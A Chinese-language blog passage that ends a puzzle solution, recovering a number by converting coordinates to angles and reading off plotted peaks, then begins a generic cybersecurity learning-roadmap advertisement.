/>转换成角度，算出theta（atan2(x,y)\*57.3,负值加360），画图得到：<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8223244c7c8543b8b11f1c5046ee5158~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />逐个比对出峰值对应号码，得到77085962457。

网络安全成长路线图

这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。不过，要想从脚本小子变成hei客大神，这个方向越往后，需要学习和掌握的东西就会越来越多，以下是学习网络安全需要走的方向：

# 网络安全学习方法

上面介绍了技术分类和学习路线，这里来谈一下学习方法：

## 视频学习

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